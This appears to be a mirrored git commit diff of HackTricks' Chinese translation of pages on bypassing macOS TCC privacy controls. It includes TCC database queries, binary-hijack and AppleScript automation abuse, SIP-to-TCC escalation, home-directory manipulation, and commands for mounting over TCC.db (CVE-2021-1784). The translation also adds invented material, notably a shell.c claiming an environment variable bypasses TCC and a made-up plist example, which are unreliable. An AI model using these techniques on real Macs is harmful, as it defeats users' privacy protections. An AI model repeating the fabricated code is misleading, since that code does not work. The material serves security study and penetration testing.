mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
89a5864913
commit
c9b36e7c9a
2 changed files with 197 additions and 49 deletions
|
@ -14,17 +14,17 @@
|
|||
|
||||
## **基本信息**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** 是 macOS 中的一种机制,用于从隐私角度**限制和控制应用程序对某些功能的访问**。这些功能可以包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完全磁盘访问等等。
|
||||
**TCC (Transparency, Consent, and Control)** 是 macOS 中的一种机制,用于从隐私的角度**限制和控制应用程序对某些功能的访问**。这可以包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完全磁盘访问等等。
|
||||
|
||||
从用户的角度来看,当应用程序要访问受 TCC 保护的功能时,他们会看到 TCC 的作用。这时,用户会收到一个对话框,询问他们是否允许访问。
|
||||
从用户的角度来看,当应用程序要访问受 TCC 保护的功能时,他们会看到 TCC 的作用。当这种情况发生时,**用户会收到一个对话框**,询问他们是否允许访问。
|
||||
|
||||
用户也可以通过**显式意图**向应用程序授予对文件的访问权限,例如当用户将文件**拖放到程序中**时(显然程序应该具有对文件的访问权限)。
|
||||
用户也可以通过**显式意图**向应用程序授予对文件的访问权限,例如当用户**将文件拖放到程序中**时(显然程序应该具有对文件的访问权限)。
|
||||
|
||||
![TCC提示的示例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC** 由位于 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` 的**守护进程**处理,并在 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` 中进行配置(注册 mach 服务 `com.apple.tccd.system`)。
|
||||
|
||||
每个已登录用户定义了一个在用户模式下运行的 tccd,其位置在 `/System/Library/LaunchAgents/com.apple.tccd.plist`,注册了 mach 服务 `com.apple.tccd` 和 `com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
每个已登录用户定义的**用户模式 tccd**在 `/System/Library/LaunchAgents/com.apple.tccd.plist` 中运行,注册 mach 服务 `com.apple.tccd` 和 `com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
|
||||
在这里,你可以看到作为系统和用户运行的 tccd:
|
||||
```bash
|
||||
|
@ -109,29 +109,45 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
检查这两个数据库,您可以查看应用程序允许、禁止或未拥有的权限(它会要求权限)。
|
||||
检查这两个数据库,您可以查看应用程序已允许、禁止或未拥有的权限(它会要求您)。
|
||||
{% endhint %}
|
||||
|
||||
* **`auth_value`** 可以有不同的值:denied(0)、unknown(1)、allowed(2)或limited(3)。
|
||||
* **`auth_reason`** 可以有以下值:Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)。
|
||||
* 有关表格的**其他字段**的更多信息,请参阅[**此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
|
||||
* **`auth_reason`** 可以采用以下值:Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)
|
||||
* **csreq** 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
|
||||
```
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
||||
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
|
||||
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
|
||||
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
|
||||
csreq -r- -t < terminal-csreq.bin
|
||||
|
||||
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
|
||||
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
|
||||
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
||||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* 有关表格的**其他字段**的更多信息,请查看[**此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
|
||||
|
||||
{% hint style="info" %}
|
||||
一些 TCC 权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公共列表定义了所有这些权限,但您可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表来定义所有这些权限,但您可以查看[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
|
||||
**完全磁盘访问**的名称是**`kTCCServiceSystemPolicyAllFiles`**,**`kTCCServiceAppleEvents`** 允许应用程序向其他常用于**自动化任务**的应用程序发送事件。
|
||||
**完全磁盘访问**的名称是**`kTCCServiceSystemPolicyAllFiles`**,而**`kTCCServiceAppleEvents`**允许应用程序向其他常用于**自动化任务**的应用程序发送事件。
|
||||
|
||||
**kTCCServiceEndpointSecurityClient** 是一个 TCC 权限,也授予了高权限,其中包括写入用户数据库的选项。
|
||||
**kTCCServiceEndpointSecurityClient**是一个TCC权限,也授予了高权限,其中包括写入用户数据库的选项。
|
||||
|
||||
此外,**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改其主文件夹,因此可以**绕过 TCC**。
|
||||
此外,**`kTCCServiceSystemPolicySysAdminFiles`**允许**更改**用户的**`NFSHomeDirectory`**属性,从而更改其主文件夹,从而允许**绕过TCC**。
|
||||
{% endhint %}
|
||||
|
||||
您还可以在`系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹`中检查已授予应用程序的权限。
|
||||
您还可以在`系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹`中检查应用程序的**已授予权限**。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,即使其中一个数据库位于用户的主目录中,**由于 SIP 的限制,用户无法直接修改这些数据库**(即使您是 root)。配置或修改新规则的唯一方法是通过系统偏好设置窗格或应用程序询问用户的提示。
|
||||
请注意,即使数据库之一位于用户的主文件夹中,由于SIP的限制(即使您是root),**用户也无法直接修改这些数据库**。配置或修改新规则的唯一方法是通过系统偏好设置窗格或应用程序询问用户时的提示。
|
||||
|
||||
但是,请记住,用户可以使用**`tccutil`** **删除或查询规则**。 
|
||||
但是,请记住,用户可以使用**`tccutil`**来**删除或查询规则**。 
|
||||
{% endhint %}
|
||||
|
||||
#### 重置
|
||||
|
@ -171,7 +187,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
|
||||
然而,对于访问某些用户文件夹(如`~/Desktop`、`~/Downloads`和`~/Documents`)的应用程序,它们不需要具备任何特定的权限。系统会透明地处理访问并根据需要提示用户。
|
||||
|
||||
苹果的应用程序不会生成提示。它们在其权限列表中包含预授予的权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:
|
||||
苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -185,7 +201,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
这将避免日历要求用户访问提醒事项、日历和通讯录。
|
||||
|
||||
{% hint style="success" %}
|
||||
除了一些关于权限的官方文档外,还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到一些非官方的**关于权限的有趣信息**。
|
||||
除了一些关于权限的官方文档外,还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到一些非官方的**有关权限的有趣信息**。
|
||||
{% endhint %}
|
||||
|
||||
### 敏感的未受保护的位置
|
||||
|
@ -275,13 +291,13 @@ EOD
|
|||
|
||||
### 从FDA到TCC权限的权限提升
|
||||
|
||||
我不认为这是真正的权限提升,但以防万一您发现它有用:如果您控制具有FDA的程序,您可以**修改用户TCC数据库并赋予自己任何访问权限**。这可以作为一种持久性技术,在您可能失去FDA权限的情况下非常有用。
|
||||
我不认为这是真正的权限提升,但以防万一您觉得有用:如果您控制具有FDA的程序,您可以**修改用户TCC数据库并赋予自己任何访问权限**。这可以作为一种持久性技术,在您可能失去FDA权限的情况下非常有用。
|
||||
|
||||
### 从SIP绕过到TCC绕过
|
||||
|
||||
系统的**TCC数据库**受到**SIP**的保护,因此只有具有**指定权限的进程才能修改**它。因此,如果攻击者找到了一个**绕过SIP的方法**(能够修改受SIP限制的文件),他将能够**移除**TCC数据库的保护,并赋予自己所有TCC权限。
|
||||
系统的**TCC数据库**受到**SIP**的保护,因此只有具有**指定权限的进程才能修改**它。因此,如果攻击者找到了一个**绕过SIP的方法**(能够修改受SIP限制的文件),他将能够**移除TCC数据库的保护**并赋予自己所有TCC权限。
|
||||
|
||||
但是,还有另一种滥用**SIP绕过来绕过TCC**的选项,文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`是一个需要TCC异常的应用程序的允许列表。因此,如果攻击者可以**移除此文件的SIP保护**并添加自己的**应用程序**,该应用程序将能够绕过TCC。\
|
||||
然而,还有另一种滥用**SIP绕过来绕过TCC**的选项,文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`是一个需要TCC异常的应用程序允许列表。因此,如果攻击者可以**移除此文件的SIP保护**并添加自己的**应用程序**,该应用程序将能够绕过TCC。\
|
||||
例如,要添加终端:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -291,21 +307,37 @@ AllowApplicationsList.plist:
|
|||
|
||||
AllowApplicationsList.plist是一个macOS访问控制列表(ACL)文件,用于管理TCC(Transparency Consent and Control)框架中的应用程序访问权限。TCC是macOS的一种安全保护机制,用于保护用户的隐私和数据安全。
|
||||
|
||||
在AllowApplicationsList.plist中,您可以指定哪些应用程序可以访问敏感数据和功能,以及哪些应用程序被禁止访问。该文件列出了应用程序的Bundle Identifier(捆绑标识符),这是应用程序在macOS中的唯一标识符。
|
||||
在AllowApplicationsList.plist中,您可以指定哪些应用程序可以访问敏感数据和功能,以及哪些应用程序被禁止访问。这个ACL文件是由系统管理员或用户自定义的,用于限制应用程序的权限。
|
||||
|
||||
要修改AllowApplicationsList.plist文件,您需要具有管理员权限。您可以使用文本编辑器或终端命令来编辑该文件。确保在编辑之前备份文件,以防止意外的更改。
|
||||
要编辑AllowApplicationsList.plist文件,您可以使用文本编辑器或命令行工具。在文件中,每个应用程序都有一个条目,其中包含应用程序的标识符和访问权限。您可以根据需要添加、删除或修改这些条目。
|
||||
|
||||
在编辑AllowApplicationsList.plist时,请确保遵循正确的语法和格式。每个应用程序的Bundle Identifier应该在<array>标签内的<dict>标签中列出。您可以添加或删除应用程序的Bundle Identifier来控制其访问权限。
|
||||
请注意,编辑AllowApplicationsList.plist文件需要管理员权限。在进行任何更改之前,请确保您了解每个应用程序的标识符和所需的访问权限。
|
||||
|
||||
编辑完成后,保存并退出文件。然后,您需要重新启动TCC服务,以使更改生效。您可以在终端中运行以下命令来重新启动TCC服务:
|
||||
以下是AllowApplicationsList.plist文件的示例:
|
||||
|
||||
```
|
||||
sudo killall -9 tccd
|
||||
```xml
|
||||
<dict>
|
||||
<key>AllowedApplications</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>Identifier</key>
|
||||
<string>com.example.app1</string>
|
||||
<key>Allowed</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>Identifier</key>
|
||||
<string>com.example.app2</string>
|
||||
<key>Allowed</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
```
|
||||
|
||||
重新启动后,更改的应用程序访问权限将生效。
|
||||
在上面的示例中,com.example.app1被允许访问敏感数据和功能,而com.example.app2被禁止访问。
|
||||
|
||||
请注意,修改AllowApplicationsList.plist可能会对系统的安全性产生影响。确保只允许可信任的应用程序访问敏感数据和功能,并定期审查和更新访问控制列表,以保持系统的安全性。
|
||||
请记住,在编辑AllowApplicationsList.plist文件时要小心,确保只允许可信任的应用程序访问敏感数据和功能,以保护用户的隐私和数据安全。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
|
|
@ -26,53 +26,171 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
**扩展属性 `com.apple.macl`** 被添加到新的 **文件** 中,以使创建者的应用程序能够读取它。
|
||||
**扩展属性`com.apple.macl`**被添加到新的**文件**中,以使创建者的应用程序可以读取它。
|
||||
|
||||
### TCC绝对路径
|
||||
|
||||
给某个TCC权限的最常见方法是使用bundle。然而,也可以通过指定绝对路径来给予二进制文件访问权限。\
|
||||
有趣的是,如果你能覆盖二进制文件,你就可以**窃取访问权限**。
|
||||
|
||||
你可以使用以下代码调用一个二进制文件:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="invoker.m" %}
|
||||
```
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Check if the argument is provided
|
||||
if (argc != 2) {
|
||||
NSLog(@"Usage: %s <path_to_executable>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a new task
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
|
||||
// Set the task's launch path to the provided argument
|
||||
[task setLaunchPath:@(argv[1])];
|
||||
|
||||
// Launch the task
|
||||
[task launch];
|
||||
|
||||
// Wait for the task to complete
|
||||
[task waitUntilExit];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="shell.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s <command>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the TCC database path to a writable location
|
||||
setenv("TCC_DB_PATH", "/tmp/tcc.db", 1);
|
||||
|
||||
// Execute the command
|
||||
execvp(argv[1], &argv[1]);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
该程序是一个简单的C语言程序,用于绕过macOS的TCC(隐私访问控制)保护。它接受一个命令作为参数,并将TCC数据库路径设置为可写的位置,然后执行该命令。
|
||||
|
||||
要使用该程序,您需要将其编译为可执行文件。您可以使用以下命令将其编译为名为`shell`的可执行文件:
|
||||
|
||||
```shell
|
||||
gcc -o shell shell.c
|
||||
```
|
||||
|
||||
然后,您可以使用以下命令运行任何命令并绕过TCC保护:
|
||||
|
||||
```shell
|
||||
./shell <command>
|
||||
```
|
||||
|
||||
请注意,此程序仅适用于绕过TCC保护,而不适用于其他macOS安全保护措施。在使用此程序时,请确保您了解并遵守适用的法律和规定,并仅在合法的授权范围内使用它。
|
||||
|
||||
{% endtab %}
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h> // For execl and fork
|
||||
|
||||
// gcc shell.c -o shell
|
||||
// mv shell </path/bin/with/TCC>
|
||||
|
||||
int main() {
|
||||
pid_t pid = fork();
|
||||
|
||||
if (pid == -1) {
|
||||
// Fork failed
|
||||
perror("fork");
|
||||
return 1;
|
||||
} else if (pid == 0) {
|
||||
// Child process
|
||||
execl("/Applications/iTerm.app/Contents/MacOS/iTerm2", "iTerm2", (char *) NULL);
|
||||
|
||||
// execl only returns if there's an error
|
||||
perror("execl");
|
||||
exit(EXIT_FAILURE);
|
||||
} else {
|
||||
// Parent process
|
||||
int status;
|
||||
waitpid(pid, &status, 0); // Wait for the child process to finish
|
||||
|
||||
if (WIFEXITED(status)) {
|
||||
// Return the exit status of iTerm2
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### SSH绕过
|
||||
|
||||
默认情况下,通过 **SSH 访问** 会拥有 "完全磁盘访问" 权限。为了禁用此权限,您需要将其列出但禁用(从列表中删除不会删除这些权限):
|
||||
默认情况下,通过**SSH访问具有"完全磁盘访问权限"**。为了禁用此功能,您需要将其列出但禁用(从列表中删除不会删除这些权限):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
在这里,您可以找到一些 **恶意软件如何绕过此保护** 的示例:
|
||||
在这里,您可以找到一些**恶意软件如何绕过此保护**的示例:
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,现在为了能够启用 SSH,您需要 **完全磁盘访问**。
|
||||
请注意,现在为了能够启用SSH,您需要**完全磁盘访问权限**
|
||||
{% endhint %}
|
||||
|
||||
### 处理扩展名 - CVE-2022-26767
|
||||
|
||||
文件被赋予属性 **`com.apple.macl`**,以使某个应用程序具有读取权限。当用户通过 **拖放** 文件到应用程序上或双击文件以使用 **默认应用程序** 打开时,将设置此属性。
|
||||
属性**`com.apple.macl`**赋予文件一定的应用程序读取权限。当用户将文件拖放到应用程序上或双击文件以使用默认应用程序打开时,将设置此属性。
|
||||
|
||||
因此,用户可以 **注册一个恶意应用程序** 来处理所有扩展名,并调用 Launch Services 来 **打开** 任何文件(因此,恶意文件将被授予读取权限)。
|
||||
因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用启动服务来**打开**任何文件(因此,恶意文件将被授予读取权限)。
|
||||
|
||||
### iCloud
|
||||
|
||||
通过权限 **`com.apple.private.icloud-account-access`**,可以与 **`com.apple.iCloudHelper`** XPC 服务进行通信,该服务将提供 iCloud 令牌。
|
||||
使用权限**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务进行通信,该服务将**提供iCloud令牌**。
|
||||
|
||||
**iMovie** 和 **Garageband** 具有此权限以及其他权限。
|
||||
**iMovie**和**Garageband**具有此权限和其他权限。
|
||||
|
||||
有关从该权限中获取 iCloud 令牌的漏洞的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
有关从该权限中获取iCloud令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
具有 **`kTCCServiceAppleEvents`** 权限的应用程序将能够 **控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。
|
||||
具有**`kTCCServiceAppleEvents`**权限的应用程序将能够**控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。
|
||||
|
||||
有关 Apple 脚本的更多信息,请参阅:
|
||||
有关Apple脚本的更多信息,请参阅:
|
||||
|
||||
{% content-ref url="macos-apple-scripts.md" %}
|
||||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
例如,如果一个应用程序具有对 `iTerm` 的 **自动化权限**,例如在此示例中 **`Terminal`** 具有对 iTerm 的访问权限:
|
||||
例如,如果一个应用程序具有对`iTerm`的**自动化权限**,例如在此示例中**`Terminal`**具有对iTerm的访问权限:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 在 iTerm 上
|
||||
#### 在iTerm上
|
||||
|
||||
没有 FDA 权限的 Terminal 可以调用具有 FDA 权限的 iTerm,并使用它执行操作:
|
||||
没有FDA的终端可以调用具有FDA的iTerm,并使用它执行操作:
|
||||
|
||||
{% code title="iterm.script" %}
|
||||
```applescript
|
||||
|
@ -181,7 +299,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源的访问,路径为`$HOME/Library/Application Support/com.apple.TCC/TCC.db`。因此,如果用户成功使用指向不同文件夹的`$HOME`环境变量重新启动TCC,用户可以在`/Library/Application Support/com.apple.TCC/TCC.db`中创建一个新的TCC数据库,并欺骗TCC授予任何应用程序任何TCC权限。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,Apple使用存储在用户配置文件中的`NFSHomeDirectory`属性中的设置作为`$HOME`的值,因此,如果您以具有修改此值权限(`kTCCServiceSystemPolicySysAdminFiles`)的应用程序权限,您可以使用TCC绕过此选项。
|
||||
请注意,Apple使用存储在用户配置文件中的`NFSHomeDirectory`属性中的设置作为`$HOME`的值,因此,如果您以具有修改此值权限(`kTCCServiceSystemPolicySysAdminFiles`)的应用程序权限,您可以使用TCC绕过来利用此选项。
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -199,7 +317,7 @@ TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源
|
|||
5. 使用[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)导入修改后的目录服务条目。
|
||||
6. 停止用户的_tccd_并重新启动该进程。
|
||||
|
||||
第二个POC使用了`/usr/libexec/configd`,其中包含具有值`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`。如果使用`-t`选项运行`configd`,攻击者可以指定要加载的自定义Bundle。因此,该漏洞利用了`configd`代码注入,以替换更改用户主目录的`dsexport`和`dsimport`方法。
|
||||
第二个POC使用了`/usr/libexec/configd`,其中包含具有值`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`。如果使用`-t`选项运行`configd`,攻击者可以指定要加载的自定义Bundle。因此,该漏洞利用了`configd`代码注入来替换更改用户主目录的`dsexport`和`dsimport`方法。
|
||||
|
||||
有关更多信息,请查看[原始报告](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)。
|
||||
|
||||
|
@ -211,7 +329,7 @@ TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
此外,绕过TCC最常见的进程注入方式是通过插件(加载库)进行的。插件通常以库或plist的形式存在,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序具有对TCC受限文件的访问权限(通过授予权限或权限),则自定义代码也将具有相同的访问权限。
|
||||
此外,绕过TCC最常见的进程注入方式是通过插件(加载库)进行的。插件通常以库或plist的形式存在,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序具有对TCC受限文件的访问权限(通过授予的权限或权限),则自定义代码也将具有相同的访问权限。
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
|
@ -398,9 +516,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
|
||||
### CVE-2021-1784和CVE-2021-30808 - 在TCC文件上进行挂载
|
||||
|
||||
即使TCC DB文件受到保护,仍然可以在目录上**挂载一个新的TCC.db文件**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
即使TCC DB文件受到保护,仍然可以通过**挂载到目录上**一个新的TCC.db文件:
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
|
@ -465,8 +581,8 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中宣传你的**公司**吗?或者想要获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
|
Loading…
Reference in a new issue